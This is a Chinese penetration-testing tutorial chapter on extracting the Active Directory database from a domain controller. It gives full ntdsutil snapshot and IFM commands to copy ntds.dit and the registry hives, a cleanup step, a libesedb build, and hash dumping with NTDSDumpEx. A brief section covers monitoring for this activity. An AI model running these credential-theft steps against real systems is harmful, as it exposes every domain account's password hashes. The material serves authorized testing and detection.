内网渗透测试第六章——域控制器安全

域控制器安全

在通常情况下，即使拥有管理员权限，也无法读取域控制器中的C:Windows\NTDS\ntds.dit文件（活动目录始终访问这个文件，所以文件被禁止读取）。使用Windows本地卷影拷贝服务，就可以获得文件的副本。

使用卷影拷贝服务提取ntds.dit

使用ntdsutil提取

ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。使用ntdsutil.exe，可以维护和管理活动目录数据库、控制单个主机操作、创建应用程序目录分区、删除由未使用活动目录安装向导（DCPromo.exe）成功降级的域控制器留下的元数据等。该工具默认安装在域控制器上，可以在域控制器上直接操作，也可以通过域内机器在域控制器上远程操作。ntdsutil.exe支持的操作系统有Windows Server2003、Windows Server2008、Windows Server 2012。

创建快照

ntdsutil snapshot "activate instance ntds" create quit quit

查看快照

ntdsutil snapshot "mount {快照ID}" quit quit

打开文件管理可以看到，快照已经成功创建

域控文件已经可以进行拷贝了

删除快照

ntdsutil snapshot "unmount {快照ID}" “delete {快照ID}” quit quit

查看系统中的所有快照

ntdsutil snapshot "List All" quit quit

监控卷影拷贝服务的使用情况

• 通过监控卷影拷贝服务的使用情况，可以及时发现攻击者在系统中进行的一些恶意操作。
• 监控卷影拷贝服务及任何涉及活动目录数据库文件（ntds.dit）的可疑操作行为。
• 监控System Event ID7036（卷影拷贝服务进入运行状态的标志）的可疑实例，以及创建vssvc.exe进程的事件。
• 监控创建 diskshadow.exe及相关子进程的事件。
• 监控客户端设备中的diskshadow.exe实例创建事件。除非业务需要，在Windows操作系统中不应该出现diskshadow.exe。如果发现，应立刻将其删除。
• 通过日志监控新出现的逻辑驱动器映射事件。

使用ntdsutil的IFM创建卷影拷贝

在使用ntdsutil创建IFM时，需要进行生成快照、加载、将ntds.dit和计算机的SAM文件复制到目标文件夹中等操作。

在域控制器中以管理员模式打开命令行环境，输入命令

ntdsutil "ac i ntds" "ifm" "create full c:/test"q q

将ntds.dit复制到c:\test\Active Directory\文件夹下

dir "c:\test\Active Directory\"

然后，将SYSTEM和SECURITY两项复制到c:\test\registry\文件夹下

dir "c:\test\registry\"

将ntds.dit 拖回本地后，在目标机器上将test文件夹删除。

rmdir /s/q test

导出ntds.dit中的散列值

使用esedbexport恢复ntds.dit

下载地址

https://github.com/libyal/libesedb/releases/download/20210424/libesedb-experimental-20210424.tar.gz

在kali下载libesedb

wget https://github.com/libyal/libesedb/releases/download/20210424/libesedb-experimental-20210424.tar.gz

下载安装依赖环境

apt-get install autoconf automake autopoint libtool pkg-config

解压

tar -xzvf libesedb-experimental-20210424.tar.gz

配置

cd libesedb-20210424./configure

编译

make

安装

sudo make install

配置

sudo ldconfig

安装完成后会在/usr/local/bin目录下看到esedbexport程序

将ntds.dit文件上传到kali中，使用esedbexport进行恢复操作

esedbexport -m table ntds.dit

提取成功，在同一目录下生成了文件夹

使用NTDSDumpEx.exe导出散列值

使用NTDSDumpEx.exe可以导出散列值

下载地址

https://github.com/zcgonvh/NTDSDumpEx/releases/download/v0.3/NTDSDumpEx.zip

将ntds.dit、SYSTEM和NTDSDumpEx.exe放在同一目录下，运行程序

NTDSDumpEx.exe -d ntds.dit -s SYSTEM